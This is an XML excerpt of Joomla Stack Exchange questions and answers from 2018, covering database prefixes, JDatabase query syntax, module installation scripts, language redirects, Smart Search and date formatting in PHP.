  <row Id="23261" PostTypeId="2" ParentId="23255" CreationDate="2018-08-02T02:31:17.900" Score="0" Body="&lt;p&gt;I noticed the there a 2 different DB prefixes with the database, not sure where that came from but backup restore to different server reintegrate new prefixes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mystery resolved and I have no idea who the DB got so messed up...as mentioned the prefix did not match the DB prefix...strange how it would still work, that is when I discovered that the real prefix was 3 pages back the db had over 500 tables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;sure enough there were the users back in page 3 with the correct prefix. search all the non correct prefixes and dropped the tables. now down to 178 tables woohoo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would explain why I was getting login error when trying to update from Joomla 3.8.10 to 3.8.11 it was looking at the wrong login info or most likely taking the first one it came across&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crossing finger all appears to working correctly.&lt;/p&gt;&#xA;" OwnerUserId="12761" LastEditorUserId="126" LastEditDate="2018-08-02T05:28:46.610" LastActivityDate="2018-08-02T05:28:46.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23263" PostTypeId="1" CreationDate="2018-08-02T03:43:25.660" Score="1" ViewCount="82" Body="&lt;p&gt;I have a bit of a problem creating a one page template. I'm half way there, I get stuck with the menu links. Here is what I do, I'm using Helix Ultimate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- create the required rows in the template&#xA;I gave them the id's #sp-about and #sp-contact&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- create the menu links for about/contact as external urls #sp-about and #sp-contact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- create the custom html modules for about and contact&#xA;Assign them module positions (user1 and user2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, so good. Now the problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to use the homepage, I have to set home to external url, and set about and contact as sublinks under it. Joomla does not allow external url's on the component. I have to set an article or category, and that looks plain ugly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set another menu link, say Company with About and Contact under it: Company is not the component, so I can link it to external url. I set it to #. Nothing shows up. In the module manager external urls are grayed out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing something wrong, but have no idea what. &lt;/p&gt;&#xA;" OwnerUserId="11868" LastActivityDate="2020-12-19T15:00:30.067" Title="How to make a onepager?" Tags="|layout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23264" PostTypeId="2" ParentId="23252" CreationDate="2018-08-02T05:07:47.153" Score="2" Body="&lt;p&gt;As @FFrewin noted, you've got a syntax issue with the extra comma before the &lt;code&gt;FROM&lt;/code&gt; block. However, there's a few other things I'd recommend (this is untested however!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName(array('SubmissionId', 'FieldValue')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__rsform_submission_values'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldName') . ' IN (&quot;Waybill1&quot;,&quot;Waybill2&quot;,&quot;Waybill3&quot;,&quot;Waybill4&quot;)');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldValue') . ' != &quot;&quot;');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldId') . '=' . $db-&amp;gt;quote(28));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could chain these if you like, I just did this to make it clear like they do in the examples in &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF the parameters of your &lt;code&gt;IN&lt;/code&gt; clause are user-input supplied, I'd recommend using &lt;code&gt;$db-&amp;gt;quote&lt;/code&gt; on those values as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also-- when you're developing turn on error reporting to &lt;code&gt;Development&lt;/code&gt; which will print errors to the page instead of letting it fail silently and showing you a blank page.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2018-08-02T05:07:47.153" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23265" PostTypeId="1" CreationDate="2018-08-02T08:30:00.260" Score="1" ViewCount="47" Body="&lt;p&gt;I install together with my component a few modules. Also one for the backend. This shall be directly activated via the script. So I have a few lines added to update the #__modules table to get this result. But it seems not to be possible. Only when I save this module manually in the backend it is viewed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$installer = new JInstaller;&#xA;$result = $installer-&amp;gt;install($src_modules.DS.'mod_test_admin_stats');&#xA;$status-&amp;gt;modules[] = array('name'=&amp;gt;'mod_test_admin_stats','client'=&amp;gt;'admin', 'result'=&amp;gt;$result);&#xA;&#xA;// admin stats module should now be published on position 'jdcpanel'.&#xA;$mod_array = array (&quot;view_latest&quot; =&amp;gt; &quot;1&quot;, &quot;view_popular&quot; =&amp;gt; &quot;1&quot;, &quot;view_featured&quot; =&amp;gt; &quot;1&quot;, &quot;view_most_rated&quot; =&amp;gt; &quot;1&quot;, &quot;view_top_rated&quot; =&amp;gt; &quot;1&quot;, &quot;amount_items&quot; =&amp;gt; &quot;5&quot;, &quot;view_statistics&quot; =&amp;gt; &quot;1&quot;, &quot;view_monitoring_log&quot; =&amp;gt; &quot;1&quot;, &quot;view_restore_log&quot; =&amp;gt; &quot;1&quot;, &quot;view_server_info&quot; =&amp;gt; &quot;1&quot;, &quot;layout&quot; =&amp;gt; &quot;_:default&quot;, &quot;moduleclass_sfx&quot; =&amp;gt; &quot;&quot;, &quot;cache&quot; =&amp;gt; &quot;1&quot;, &quot;cache_time&quot; =&amp;gt; &quot;900&quot;, &quot;module_tag&quot; =&amp;gt; &quot;div&quot;, &quot;bootstrap_size&quot; =&amp;gt; &quot;0&quot;, &quot;header_tag&quot; =&amp;gt; &quot;h3&quot;, &quot;header_class&quot; =&amp;gt; &quot;&quot;, &quot;style&quot; =&amp;gt; &quot;0&quot;);&#xA;$mod_params = json_encode($mod_array);&#xA;$date = JFactory::getDate();&#xA;$nowDate = $db-&amp;gt;quote($date-&amp;gt;format($db-&amp;gt;getDateFormat()));&#xA;$db-&amp;gt;setQuery(&quot;UPDATE #__modules SET `published` = '1', `publish_up` = &quot;.$db-&amp;gt;quote($nowDate).&quot;, `position` = 'jdcpanel', `ordering` = '1', `params` = '&quot;.$mod_params.&quot;' WHERE `module` = 'mod_test_admin_stats'&quot;);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is something else required to get that what I need?&lt;/p&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2018-08-02T08:30:00.260" Title="How can I activate a module via script?" Tags="|module|joomla-3.6|installation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23266" PostTypeId="2" ParentId="23263" CreationDate="2018-08-02T09:17:46.393" Score="1" Body="&lt;p&gt;Just an idea but why not disable the menu and create a custom html component for the menu instead. Switch these out and you can do what you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or where the menu placeholder is located in the template just hard code the menu in. Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2018-08-02T09:17:46.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23267" PostTypeId="2" ParentId="20781" CreationDate="2018-08-02T12:41:09.233" Score="0" Body="&lt;p&gt;I found a solution to Redirect the user by his browser language. This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $url = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] === 'on' ? &quot;https&quot; : &quot;http&quot;) . &quot;://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]&quot;;&#xA;  $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);&#xA;  $path = parse_url($url, PHP_URL_PATH);&#xA;  $pathFragments = explode('/', $path);&#xA;  $end = end($pathFragments);&#xA;  if ($lang == &quot;de&quot;) {&#xA;      header(&quot;Location: https://example.com/de/{$end}&quot;);&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps if someone needs it.&#xA;Greets, Magnus&lt;/p&gt;&#xA;" OwnerUserId="12757" LastEditorUserId="12757" LastEditDate="2018-08-03T06:05:30.830" LastActivityDate="2018-08-03T06:05:30.830" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23268" PostTypeId="1" CreationDate="2018-08-02T13:09:19.480" Score="1" ViewCount="204" Body="&lt;p&gt;We have some files we need to give people access to for a short period of time (maybe 1 month) and we want their account to automatically be set to expire 1 month from when they register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking into some plugins like &lt;a href=&quot;https://www.joomdonation.com/joomla-extensions/membership-pro-joomla-membership-subscription.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Membership Pro&lt;/a&gt; but it seemed like they set expiration for subscription accounts. We don't need to take payment at all. They just register for free, and an administrator approves their account and they can have access to the files/articles/etc for a short period of time and then the account should expire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody use or know if any plugins are capable of this?&lt;/p&gt;&#xA;" OwnerUserId="12752" LastActivityDate="2018-09-07T17:27:09.437" Title="Expiring a User account after creation?" Tags="|user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23269" PostTypeId="1" CreationDate="2018-08-02T15:48:16.197" Score="1" ViewCount="90" Body="&lt;p&gt;I am a wee bit confused with the results from a Smart Search search. The site ahs about 50 articles, search for a specific term which there are approx. 10 articles that have that search item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example search query demo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the result lists the first page correct, the 2nd page is a list of all non search article AND 3rd page has a combo of both some non search article and correct search articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question why is Smart Search displaying articles that do not have that specific search query word?&lt;/p&gt;&#xA;" OwnerUserId="12761" LastActivityDate="2022-04-14T21:34:54.663" Title="Joomla 3 Smart Search List Non Search Articles" Tags="|search|smartsearch|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23270" PostTypeId="2" ParentId="22500" CreationDate="2018-08-03T06:11:03.513" Score="-1" Body="&lt;p&gt;Use HTMLHelper or Date API to format the date. Month and day names will be translated using strings from global language files (e.g. &lt;code&gt;language/el-GR/el-GR.ini&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;echo HTMLHelper::_('date', $dateFromDb, 'd M Y');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Date\Date;&#xA;&#xA;$date = new Date($dateFromDb);&#xA;echo $date-&amp;gt;format('d M Y');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$dateFromDb&lt;/code&gt; is the date retrieved from database. Note, since date is formatted in PHP, you can remove formatting from the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT title,id,publish_up AS 'GEORGE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-08-08T13:39:19.840" LastActivityDate="2018-08-08T13:39:19.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23272" PostTypeId="2" ParentId="23269" CreationDate="2018-08-03T11:06:09.667" Score="1" Body="&lt;p&gt;First thank you for responding, @YellowWebMonkey; I did find the problem.&lt;/p&gt;&#xA;&lt;p&gt;For each article, I had to add optional meta keywords. I had to create a standard list and added the list to each article even though some meta keyword are not in the main body of the article.&lt;/p&gt;&#xA;&lt;p&gt;I've corrected this oversite on my part and the issue is resolved.&lt;/p&gt;&#xA;" OwnerUserId="12761" LastEditorUserId="12352" LastEditDate="2022-04-14T21:34:54.663" LastActivityDate="2022-04-14T21:34:54.663" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23273" PostTypeId="1" AcceptedAnswerId="23286" CreationDate="2018-08-03T12:32:23.683" Score="1" ViewCount="1678" Body="&lt;p&gt;Joomla 4 is coming soon and i need to know how to get the joomla framework and template params in php files outside of joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the way in J3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 ); &#xA;define( '_VALID_MOS', 1 ); &#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/../../..' ));&#xA;define( 'DS', DIRECTORY_SEPARATOR ); &#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' ); &#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' ); &#xA;$mainframe = JFactory::getApplication('site'); &#xA;$mainframe-&amp;gt;initialise(); &#xA;&#xA;$app = JFactory::getApplication();&#xA;$template   = $app-&amp;gt;getTemplate(true);&#xA;$params     = $template-&amp;gt;params;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Marco&lt;/p&gt;&#xA;" OwnerUserId="12766" LastActivityDate="2021-08-26T07:04:52.723" Title="Get Framework and template params in Joomla 4" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23274" PostTypeId="2" ParentId="23252" CreationDate="2018-08-03T17:57:37.877" Score="1" Body="&lt;p&gt;Let's not only solve your issue, but teach you how you can solve your own querying issues in the future.  After all, if we need to fix every Joomla hiccup that you encounter, then you aren't acting very much like a &quot;developer&quot;, your work will come to a grinding halt every time a problem arises, and this community will need to volunteer their time to write your code (which I assume that you are being paid/compensated for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most importantly, use a &lt;code&gt;try {} catch {}&lt;/code&gt; block to help you to debug your query.  If you would have written this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $db-&amp;gt;setQuery(&quot;SELECT `SubmissionId`, `FieldValue`, FROM `jos_rsform_submission_values` WHERE `FieldName` IN (\&quot;Waybill1\&quot;, \&quot;Waybill2\&quot;, \&quot;Waybill3\&quot;, \&quot;Waybill4\&quot;, \&quot;Waybill5\&quot;) AND `FieldValue` != \&quot;\&quot; AND `FormId` = 28&quot;);&#xA;    $db-&amp;gt;execute();&#xA;    var_export($db-&amp;gt;loadObjectList);&#xA;} catch (Exception $e) {&#xA;    echo  &quot;Syntax Error: &quot; , $e-&amp;gt;getMessage();  // only display getMessage() where not available to the public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would have been presented with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Syntax Error: You have an error in your SQL syntax; check the manual&#xA;  that corresponds to your MySQL server version for the right syntax to&#xA;  use near 'FROM `jos_rsform_submission_values` WHERE `FieldName` IN&#xA;  (&quot;Waybill1&quot;, &quot;Waybill2&quot;' at line 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This indicates that there was a syntax error just before the &lt;code&gt;FROM&lt;/code&gt; clause.  Then you could have compared your query to any other &lt;code&gt;SELECT&lt;/code&gt; query on this site or tutorial or manual online to quickly determine that the comma is to blame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your follow up comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I was wondering if you could please help me with one more piece of&#xA;  code: I would like to implode results, and I will post the code here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName(array('FieldValue')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__rsform_submission_values'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldName') . ' IN (&quot;Container1&quot;,&quot;Container2&quot;,&quot;Container3&quot;,&quot;Container4&quot;)');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('SubmissionID') . IN . (''.implode(&quot;','&quot;, $result).''));&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You are using table and column quoting methods that are not necessary for security/stability/accuracy.  Want to know when they are necessary?  &lt;a href=&quot;https://stackoverflow.com/a/11321508/2943403&quot;&gt;Read this&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You are feeding the &lt;code&gt;select()&lt;/code&gt; an array when a string will do.&lt;/li&gt;&#xA;&lt;li&gt;You are wrapping your &lt;code&gt;FieldName&lt;/code&gt; values in double quotes when single quotes are preferred / more commonplace.&lt;/li&gt;&#xA;&lt;li&gt;Your second &lt;code&gt;where()&lt;/code&gt; call is treating &lt;code&gt;IN&lt;/code&gt;  as a constant, which is not right, and you are using too many single quotes on both sides of &lt;code&gt;implode()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's what I recommend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = [1, 2];  // fake data&#xA;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('FieldValue')&#xA;        -&amp;gt;from('#__rsform_submission_values')&#xA;        -&amp;gt;where([&#xA;            &quot;FieldName IN ('Container1','Container2','Container3',Container4')&quot;,&#xA;            &quot;SubmissionID IN (&quot; . implode(',', $result) . &quot;)&quot;&#xA;          ]);&#xA;    echo $query-&amp;gt;dump();                       // never show this to the public&#xA;    $resultset = $db-&amp;gt;loadObjectList();&#xA;    if (!$resultset) {&#xA;        echo &quot;No Rows In Result Set&quot;;&#xA;    } else {&#xA;        var_export($resultset);&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo  &quot;Syntax Error: &quot; , $e-&amp;gt;getMessage(); // never show this to the public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will display your rendered query:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT FieldValue&#xA;FROM jos_rsform_submission_values&#xA;WHERE FieldName IN ('Container1','Container2','Container3',Container4') AND SubmissionID IN (1,2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and either an error message, an indication of a null resultset, or your multidimensional resultset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the imploded &lt;code&gt;SubmissionID&lt;/code&gt; values are not quote wrapped.  I am doing this because it is fair to assume that these values are integers.  If these values are not integers or they are from an untrusted source (like a user-submitted form), then please read &lt;a href=&quot;https://joomla.stackexchange.com/a/22898/12352&quot;&gt;the advice at the bottom of this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-04T11:43:52.443" LastActivityDate="2019-02-04T11:43:52.443" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23275" PostTypeId="2" ParentId="23099" CreationDate="2018-08-04T11:55:09.443" Score="2" Body="&lt;p&gt;Class name is &lt;code&gt;TemplatesTableStyle&lt;/code&gt;. But since it's not a core class, you have to register it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('TemplatesTableStyle', JPATH_ADMINISTRATOR . '/components/com_templates/tables/style.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or include the whole com_templates/tables folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_templates/tables');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = JTable::getInstance('Style', 'TemplatesTable', array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-04T11:55:09.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23277" PostTypeId="1" CreationDate="2018-08-05T05:15:28.700" Score="1" ViewCount="85" Body="&lt;p&gt;I have a requirement to support two different types of views. Example views are like below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|_ Items &lt;br&gt;&#xA;|__ Item &lt;br&gt;&#xA;|_ Another Items&lt;br&gt;&#xA;|__Another Item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am registering the views in the router as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$type1 = new JComponentRouterViewconfiguration('type1');&#xA;$type1 -&amp;gt;setKey('id')-&amp;gt;setParent($category, 'catid');&#xA;$this  -&amp;gt;registerView($item);&#xA;&#xA;$type2 = new JComponentRouterViewconfiguration('type2');&#xA;$type2 -&amp;gt;setKey('id');&#xA;$this  -&amp;gt;registerView($type2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first item pages works fine and ID of the item is successfully recognised. But when I go to item2 page, the ID of the item cannot be recognized from the URL. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="7164" LastEditDate="2018-08-18T15:40:18.080" LastActivityDate="2018-08-18T15:40:18.080" Title="New Joomla Router: Adding additional item type views" Tags="|router|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23278" PostTypeId="2" ParentId="588" CreationDate="2018-08-05T13:17:15.710" Score="1" Body="&lt;p&gt;While no extensions existed when the question was asked, as of August 2018 there are at least a couple of extensions that can apparently find and delete orphaned images:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/vx-orphanimages&quot; rel=&quot;nofollow noreferrer&quot;&gt;VX orphanImages&lt;/a&gt; (paid extension)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;VX orphanImages plugin scans your Joomla! site images folder to find items, which are not used in any content on site. It uses the core Media component to mark orphaned images in the list, so you can decide whether to keep or remove them.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit: VX orphanImages no longer seems to be available.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/r2h-imagemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;R2H ImageManager&lt;/a&gt; (paid extension)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;R2H ImageManager allows you to move and rename images without losing the image-link in Articles and Custom HTML Modules. Simply drag &amp;amp; drop your images to restructure and clean-up your website. It also can list all unused images and delete them.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/JoomTools/tidyup_myfiles&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tidyup my files&lt;/a&gt; script&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Get rid of unused Data on your Page (for example unused images in the images folder)&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2023-08-30T21:43:43.440" LastActivityDate="2023-08-30T21:43:43.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23279" PostTypeId="2" ParentId="17164" CreationDate="2018-08-05T13:47:12.223" Score="0" Body="&lt;p&gt;The dot in property name is causing the issue. Multiple ways to solve it:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign property name to a variable:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$value = json_decode($value);&#xA;&#xA;$property = 'config.primary_category';&#xA;&#xA;echo $value-&amp;gt;$property;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enclose property value in curly brackets:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$value = json_decode($value);&#xA;&#xA;echo $value-&amp;gt;{'config.primary_category'};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn params into Registry object (this is the Joomla way):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Registry\Registry;&#xA;&#xA;$value = new Registry($value);&#xA;&#xA;echo $value-&amp;gt;get('config.primary_category');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12352" LastEditDate="2021-08-20T05:10:38.850" LastActivityDate="2021-08-20T05:10:38.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23280" PostTypeId="2" ParentId="21483" CreationDate="2018-08-06T07:07:25.927" Score="0" Body="&lt;p&gt;Create a template override of &lt;code&gt;/modules/mod_articles_news/_item.php&lt;/code&gt; and add &lt;code&gt;echo $item-&amp;gt;fulltext;&lt;/code&gt;. If you want entire article text to be shown as if it didn't have read more, append fulltext to introtext: &lt;code&gt;echo $item-&amp;gt;introtext . $item-&amp;gt;fulltext;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-08-06T07:07:25.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23281" PostTypeId="1" AcceptedAnswerId="23287" CreationDate="2018-08-06T10:57:02.393" Score="3" ViewCount="2353" Body="&lt;p&gt;I am creating some code to auto-generate a meta-desc for product pages in VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have stripped tags, but I am still seeing &lt;code&gt;&amp;amp;nbsp&lt;/code&gt; in the resulting text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I have at present is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($product-&amp;gt;metadesc) {&#xA;    $document-&amp;gt;setDescription($product-&amp;gt;metadesc);&#xA;} else {&#xA;    $document-&amp;gt;setDescription(strip_tags(&quot;Buy &quot;.$category-&amp;gt;category_name.&quot; | &quot;.$product-&amp;gt;product_name.&quot; | &quot;.$product-&amp;gt;product_desc));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for example, this produces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Buy T-Shirts | PTB Keep Calm | PTB Keep Calm This creative design is printed&amp;amp;nbsp;&amp;amp;nbsp;on a&amp;amp;nbsp;Premium Fitted CVC Crew Tee&amp;amp;nbsp; Features:60% combed rin...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to remove these non-breaking space entities?&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2018-08-08T10:51:55.080" LastActivityDate="2018-08-08T10:51:55.080" Title="How to replace &amp;nbsp; with a space?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23283" PostTypeId="1" AcceptedAnswerId="23288" CreationDate="2018-08-06T13:56:13.480" Score="0" ViewCount="24" Body="&lt;p&gt;Before i start i know what your going to say no no no no no never install Joomla sites with the same prefix or on the same db but hear me out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its the same website essentially one installed in route and one in route/dir&#xA;Essentially the route website file structure has somehow become corrupt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as a test i have installed a rolled back version in a sub directory. I simply want to login and check the error has gone and then migrate the files to live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not updating any articles or anything as the error was with the login. However i am worried if i create a session by logging in it might mess things up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this ok?&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2018-08-07T15:29:54.343" Title="Installing two copies of the same site with same db and prefix for a test - is this ok" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
